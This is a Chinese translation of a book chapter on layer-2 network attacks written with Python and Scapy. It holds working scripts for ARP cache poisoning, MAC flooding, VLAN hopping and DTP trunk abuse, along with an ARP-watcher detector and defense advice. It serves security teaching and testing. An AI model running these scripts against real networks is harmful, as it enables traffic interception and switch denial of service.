Python網路攻防之第二層攻擊
本章節節選翻譯自《Understanding Network Hacks: Attack and Defense with Python》中的第四章Layer 2 Attacks。該書透過網路層次劃分介紹漏洞,並使用Python
編寫相關利用工具進行網路攻防,每小節均按照“原理--程式碼--解釋--防禦
”的結構行文,此書也可與《Python黑帽子:駭客與滲透測試程式設計之道》相互參照學習,相信會達到較好的效果呦。另譯者水平有限,如有錯誤還請指正與海涵。
0x00 摘要
在本章第二層攻擊當中,我們將進入網路hacking
的奇幻之旅。讓我們回顧一下,第二層是負責在乙太網中,使用MAC地址來傳送資料包。除了ARP
攻擊,我們將探討交換機是如何應對DOS
攻擊的,以及如何逃逸出VLAN
環境。
0x01 需求模組
在Python
中,你不必在意原始套接字或網路位元組順序,藉由Philippe Biondi
編寫的Scapy
,具有世界上最好的資料包生成器,你可以輕鬆地定製資料包。既不像在Libnet
和C
中那樣需要指標運算,也不像在RawIP
和Perl
中,或者是在Scruby
和Ruby
中,你會被有限的幾種協議所束縛。Scapy
可以構造從ARP
到IP/ICMP
,再到TCP/UDP
和DNS/DHCP
等所有OSI
層上的資料包,甚至是更不常見的協議也同樣被支援,比如BOOTP
, GPRS
, PPPoE
, SNMP
, Radius
, Infrared
, L2CAP/HCI
, EAP
。
現在讓我們在第二層網路上,使用Scapy
來製造一些麻煩吧!首先你需要用如下的命令安裝它:
pip install Scapy
現在你將步入經典著名的中間人攻擊!
0x02 ARP-Cache-Poisoning
如果一臺主機想要傳送IP
資料包到另一臺主機,就必須預先透過使用ARP
協議請求目的MAC
地址。這個詢問會向網路中的所有成員廣播。在一個完美的世界中,只有應答的主機是所需的目的主機。在一個不那麼完美的世界中,攻擊者會每隔幾秒向它的受害者傳送一個ARP
應答報文,但是是以它自己的MAC
地址作為響應,從而重定向該連線到其自身。因為大多數的作業系統都接受它們從未詢問過的應答報文,所以該攻擊才會生效!
#!python
#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + ": <target> <spoof_ip>"
sys.exit(1)
iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip,
psrc=fake_ip,
op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
在Scapy
的幫助下,我們構造了一個名為packet
的資料包,裡面包括一個Ethernet()及一個ARP()頭。在ARP頭部中,我們設定了受害者的IP地址(target_ip
)和我們想劫持所有連線的IP地址(fake_ip
)。對於最後一個引數,我們設定OP-Code為is-at
,宣告該資料包為一個ARP響應。然後sendp()
函式在每次傳送資料包時,都等待10秒並一直迴圈傳送下去。
需要注意的是,你必須使用sendp()
函式而不是send()
函式,因為資料包應該在第二層被髮送。send()
則是在第三層傳送資料包。
最後,要記得啟用IP轉發,否則你的主機會阻塞來自受害者的連線。
sysctl net.ipv4.ip_forward=1
不要忘記檢查像IPtables
這樣的資料包過濾器的設定,使用pf
或ipfw
或直接禁用它,現在已經瞭解了足夠多的枯燥的理論知識,讓我們直接進入一些實用的Python
程式碼吧!
如果你只是用fake_ip
來處理客戶端的ARP
快取,那麼你只會得到客戶端的資料包,而無法接收到服務端的響應。如下圖所示。
如下圖所示,要強制透過攻擊者的主機進行雙向連線,攻擊者就必須使用他的MAC
地址,來偽造客戶端和服務端的相關目的地址。
我們的第一段程式碼有些粗糙,它傳送了大量的ARP
報文,不僅產生了所需要的流量,而且也比較暴露。隱蔽的攻擊者會採取另一種策略。
一臺主機如果想要獲取有關IP
地址的資訊,會發出一個ARP
請求。我們將編寫一個程式,等待ARP
請求,併為每一個接收到的請求傳送一個ARP
欺騙響應。在交換環境中,這將導致每一個連線都會流經攻擊者的主機,因為在ARP
快取中,每一個IP
地址都會有攻擊者的MAC
地址。這個攻擊更加優雅,不像之前的那個那麼嘈雜,但還是很容易被一個訓練有素的管理員檢測到。
如下圖所示,欺騙性的響應資料包和真實主機的響應資料包被並行傳送。誰的資料包先被受害者的網路卡接收到,則誰獲勝。
#!python
#!/usr/bin/python
import sys
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
def arp_poison_callback(packet):
# Got ARP request?
if packet[ARP].op == 1:
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
answer[ARP].op = "is-at"
answer[ARP].hwdst = packet[ARP].hwsrc
answer[ARP].psrc = packet[ARP].pdst
answer[ARP].pdst = packet[ARP].psrc
print "Fooling " + packet[ARP].psrc + " that " + \
packet[ARP].pdst + " is me"
sendp(answer, iface=sys.argv[1])
sniff(prn=arp_poison_callback,
filter="arp",
iface=sys.argv[1],
store=0)
從引數iface
指定的網路卡中,sniff()
函式無限迴圈地讀取資料包。將PACP
過濾器設定為arp
,使接收到的資料包都被自動過濾,來保證我們的回撥函式arp_poison_callback
在被呼叫時,只有ARP
資料包作為輸入。同時由於引數store=0
,資料包將不會被儲存。
arp_poison_callback()
函式處理我們的實際工作。首先,它會檢查ARP
報文的OP code
:當它是1時則為一個ARP
請求,然後我們來生成一個響應包,在響應資料包中,我們將請求包中的源MAC
地址和IP
地址作為目的MAC
地址和IP
地址。因為我們未定義源MAC
地址,所以Scapy
會自動插入傳送資料包的網路介面地址。
ARP
中IP
與MAC
地址的對應關係會被快取一段時間,因為它會被轉儲起來,對同一地址一遍又一遍地進行解析。可以用如下命令顯示ARP
快取:
arp -an
? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
這依賴於作業系統和它的版本,本地配置設定及地址被快取的時間。
為了抵禦ARP
欺騙攻擊,一方面可以使用ARP
靜態表,但是這同樣可以被接收到的ARP
響應所覆蓋,這些均依賴於作業系統對ARP
的處理程式碼。另一方面也可以使用像ARP watcher
這樣的工具。ARP watcher
監控ARP
流量,並報告可疑行為但並不阻止。現在最先進的入侵檢測系統可以檢測到ARP快取中毒攻擊。你應該使用上面的程式碼,檢查一下你的IDS
,看看它是如何表現的。
0x03 ARP-Watcher
接下來我們編寫一個小工具,來報告所有新連線到我們網路的裝置,為此它必須能夠記住所有IP
和MAC
地址的對應關係。此外,它還可以檢測出一個網路裝置是否突然更改了它的MAC
地址。
#!python
#!/usr/bin/python
from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys
arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}
# Save ARP table on shutdown
def sig_int_handler(signum, frame):
print "Got SIGINT. Saving ARP database..."
try:
f = open(arp_watcher_db_file, "w")
for (ip, mac) in ip_mac.items():
f.write(ip + " " + mac + "\n")
f.close()
print "Done."
except IOError:
print "Cannot write file " + arp_watcher_db_file
sys.exit(1)
def watch_arp(pkt):
# got is-at pkt (ARP response)
if pkt[ARP].op == 2:
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
# Device is new. Remember it.
if ip_mac.get(pkt[ARP].psrc) == None:
print "Found new device " + \
pkt[ARP].hwsrc + " " + \
pkt[ARP].psrc
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
# Device is known but has a different IP
elif ip_mac.get(pkt[ARP].psrc) and \
ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print pkt[ARP].hwsrc + \
" has got new ip " + \
pkt[ARP].psrc + \
" (old " + ip_mac[pkt[ARP].psrc] + ")"
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
signal(SIGINT, sig_int_handler)
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
try:
fh = open(arp_watcher_db_file, "r")
except IOError:
print "Cannot read file " + arp_watcher_db_file
sys.exit(1)
for line in fh:
line.chomp()
(ip, mac) = line.split(" ")
ip_mac[ip] = mac
sniff(prn=watch_arp,
filter="arp",
iface=sys.argv[1],
store=0)
開始我們定義了一個訊號處理函式sig_int_handler()
,當使用者中斷程式時該函式會被呼叫。該函式會在ip_mac
字典中,將所有已知的IP
和MAC
地址對應關係儲存到一個檔案當中。一開始我們讀取這些ARP db
檔案,用目前已知的所有對應關係來初始化程式,若檔案無法讀取則退出。然後我們將檔案內容一行一行地迴圈讀取,把每一行分割為IP
和MAC
地址,將它們儲存到 ip_mac
字典中。我們再呼叫已知的sniff()
函式,對每一個接收到的ARP
資料包,呼叫回撥函式watch_arp
。
watch_arp
函式是整個程式中的核心邏輯部分。當嗅探到的資料包是is-at
資料包時,則該資料包為一個ARP
響應。緊接著我們首先檢查IP是否存在於ip_mac
字典中。如果我們沒有發現對應條目,則其為一個新裝置,並在螢幕上顯示一條資訊。否則我們將資料包中的MAC
地址與字典中的MAC
相比較,如果不同則響應很可是偽造的,我們也在螢幕上顯示一條訊息。在這兩種情況下,都會用新的資訊來更新字典。
0x04 MAC-Flooder
交換機和其他計算機一樣,具有有限的記憶體,交換機中存放MAC
地址資訊的表格也同樣如此,該表格記錄哪個MAC
地址對應哪個埠及其內部的ARP
快取。當交換機的緩衝區溢位時,它們的反應就會有些古怪。這將會導致交換機拒絕服務,以至於放棄交換行為而變得像正常的集線器。在集線器模式下,整體的高流量不會是你遇到的唯一問題,因此在沒有附加操作下,所有已連線的計算機都會接收到完整的流量。你應該測試一下的你的交換機在這種意外情況下是如何反應的,接下來的指令碼就可以做到這一點。它會產生隨機的MAC
地址,並將它們傳送到你的交換機中,直到交換機的緩衝區被填滿。
#!python
#!/usr/bin/python
import sys
from scapy.all import *
packet = Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
if len(sys.argv) < 2:
dev = "eth0"
else:
dev = sys.argv[1]
print "Flooding net with random packets on dev " + dev
sendp(packet, iface=dev, loop=1)
RandMAC
和RandIP
負責隨機地產生地址當中的每一個位元組。其餘的則由sendp()
函式的迴圈引數完成。
0x05 VLAN Hopping
因為VLAN
不具備安全特性,一方面標記VLAN
取決於包含VLAN id
的資料包頭部,使用Scapy
可以很容易建立這樣的資料包。現在讓我們的電腦連線到VLAN1
,並且嘗試去ping VLAN2
上的其他主機。
#!python
#!/usr/bin/python
from scapy.all import *
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP()
sendp(packet)
首先我們設定在資料包的頭部當中,包含我們的VLAN
標記,再加上一個目的主機地址。交換機將會移除第一個標記,並不決定如何處理該資料包,當它看到第二個標記VLAN id 2
的時候,則決定轉發到這個vlan
。如果交換機連線到其他透過堆疊啟用的VLAN
交換機,這種攻擊只會是成功的,否則它們就是使用的基於埠的VLAN
。
0x06 Let’s Play Switch
Linux
可以執行在許多嵌入式網路裝置上;因此憑藉Linux
作業系統,人們可以把自己的電腦變成一臺功能齊全的VALN
交換機,這並不令人驚奇。你只需要vconfig
這種工具就夠了。在根據你的作業系統安裝所需的資料包後,透過以下的命令,你可以將你的主機加入到另一個VLAN
環境中。
vconfig add eth0 1
然後你必須記住啟動新裝置,並給它一個VLAN
網路中的IP
地址。
ifconfig eth0.1 192.168.13.23 up
0x07 ARP Spoofing Over VLAN Hopping
VLAN
會限制對同一VLAN
的埠的廣播流量,因此我們不能在預設情況下應對所有的ARP
請求,就像在第一個ARP spoofing
例子中看到的那樣,必須每隔幾秒就向受害者告訴我們的MAC
地址。除了我們對每個資料包進行了標記和加之的目的VLAN
,下面的程式碼是通用的。
#!python
#!/usr/bin/python
import time
from scapy.all import sendp, ARP, Ether, Dot1Q
iface = "eth0"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
packet = Ether() / \
Dot1Q(vlan=our_vlan) / \
Dot1Q(vlan=target_vlan) / \
ARP(hwsrc=fake_mac,
pdst=target_ip,
psrc=fake_ip,
op="is-at")
while True:
sendp(packet, iface=iface)
time.sleep(10)
幸運的是,防禦這種型別的VLAN
攻擊並沒有那麼複雜:如果你真的想分離你的網路,只需要使用物理劃分的交換機!
0x08 DTP Abusing
DTP
(動態中繼協議)是一種由思科發明的專有協議,用於如果一個埠是trunk
埠,則交換機之間可以動態地交流。Trunk
埠通常用於互連交換機和路由器,以便共享一些或所有已知的VLAN
。
為了能夠執行下面的程式碼,你需要安裝Scapy
的開發版本。同時為了check out
出源,請先安裝Mercurial
,然後鍵入以下命令來克隆Scapy repository
。
hg clone http://hg.secdev.org/scapy scapy
如果你想跟蹤Scapy
的最新版本,你只需要時不時地更新checkout
。
cd scapy
hg pull
現在你可以將舊版本的Scapy
變成最新版的了。
pip uninstall Scapy
cd scapy
python setup.py install
多虧了DTP
協議,和它完全忽視任何一種安全的屬性,我們現在就可以傳送一個動態可取包到每一個啟用DTP的思科裝置,並要求它將我們的埠轉變為trunk
埠。
#!python
#!/usr/bin/python
import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *
if len(sys.argv) < 2:
print sys.argv[0] + " <dev>"
sys.exit()
negotiate_trunk(iface=sys.argv[1])
作為一個可選引數,你可以設定欺騙相鄰交換機的MAC
地址,如果沒有設定,則會自動生成一個隨機值。
這種攻擊可能會持續幾分鐘,但是攻擊者並不關心延遲,因為他們知道在改變連線到每一個VLAN
的可能性之後他們會得到什麼!
vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up
沒有足夠好的理由來使用DTP
,所以乾脆禁用掉它吧!
0x09 Tools
NetCommander
NetCommander
是一個簡單的ARP
欺騙程式。它透過對每一個可能的IP
傳送ARP
請求,來搜尋網路上存活的主機。你可以選擇需要劫持的連線,然後每隔幾秒,NetCommander
就會自動地欺騙那些主機和預設閘道器之間的雙向連線。工具的原始碼可以從這裡下載:https://github.com/evilsocket/NetCommander
Hacker’s Hideaway ARP Attack Tool
Hacker’s Hideaway ARP Attack Tool
比NetCommander
的功能多一些。除了欺騙特殊連線,它還支援被動欺騙所有對源IP
的ARP
請求,和MAC
泛洪攻擊。工具的下載連結為:https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2
Loki
Loki
是一種像Yersinia
的第二層和第三層攻擊工具。它可以透過外掛來擴充套件,也有一個漂亮的GUI
介面。它實現了像ARP
欺騙和泛洪,BGP
,RIP
路由注入之類的攻擊,甚至可以攻擊像HSRP和VRRP那樣非常罕見的協議。工具的原始碼地址為:https://www.c0decafe.de/loki.html
相關文章
- 網路層協議及ARP攻擊2021-05-19協議
- WAF攻防之SQL隱碼攻擊篇2018-02-26SQL
- 重大活動網路攻擊面前,京東智聯雲的攻防之道2020-11-16
- 網路攻擊2019-02-23
- 網路攻擊手段2013-08-26
- [滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊2017-07-13資料庫SQL
- 攻擊面管理預防網路攻擊原理?2022-02-22
- 懂你網路系列10之網路安全中的CSRF攻擊2021-09-09
- 資訊保安工程師第二章-網路攻擊方式2020-10-31工程師
- 2022年第二季度全球網路攻擊創新高,如何有效防範網路攻擊2022-11-28
- 網路攻擊泛談2020-04-05
- 降低網路攻擊風險2019-09-24
- 網路釣魚攻擊2023-09-25
- [計算機網路]網路攻擊2024-07-04計算機網路
- 攻擊欺騙防禦技術在網路攻防實戰中的演化2020-06-17
- 什麼是網路攻擊?常見的網路攻擊手段有哪些?2023-11-07
- 網路攻擊中主動攻擊和被動攻擊有什麼區別?2022-03-16
- 【網路安全分享】APT攻擊常用的4種攻擊手段!2022-07-12APT
- 英國航運公司受到網路攻擊,網路攻擊對於企業有多可怕?2019-12-10
- 年度網路攻擊大調查:SSH埠最易受網路攻擊,HTTPS其次!2019-09-19HTTP
- 逃脫APT攻擊魔抓需網路安全防禦體系一層套一層2017-09-01APT
- 網路安全系列之十一系統命令注入攻擊2017-11-15
- 網路攻擊有多大的危害?2022-05-27
- 什麼是CC攻擊?CC攻擊型別【網路安全教程】2021-09-03型別
- 【網路安全入門】DDOS攻擊和DOS攻擊之間有什麼區別及聯絡?2022-03-17
- 微軟曝“永恆之黑”漏洞,或成網路攻擊“暗道”2020-03-19微軟
- 【網路安全】如何有效地防禦DDOS攻擊和CC攻擊?2022-01-20
- 如何更好地緩解網路攻擊2019-05-08
- 常見的網路攻擊型別2019-08-16型別
- 如何降低網路攻擊者入侵風險2022-11-09
- 13 種危險的網路攻擊2023-10-23
- 降低網路釣魚攻擊的風險2017-07-03
- 常見網路攻擊:XSS 篇2018-05-03
- 網路攻擊的一般流程2024-05-29
- 北約將網際網路列為戰場:攻擊成員就是攻擊聯盟2017-07-03
- 網路攻防路22020-11-15
- 網際網路公司如何防禦DDoS攻擊?2019-12-05
- 【網路安全知識】DDOS攻擊和CC攻擊有什麼區別?2021-09-02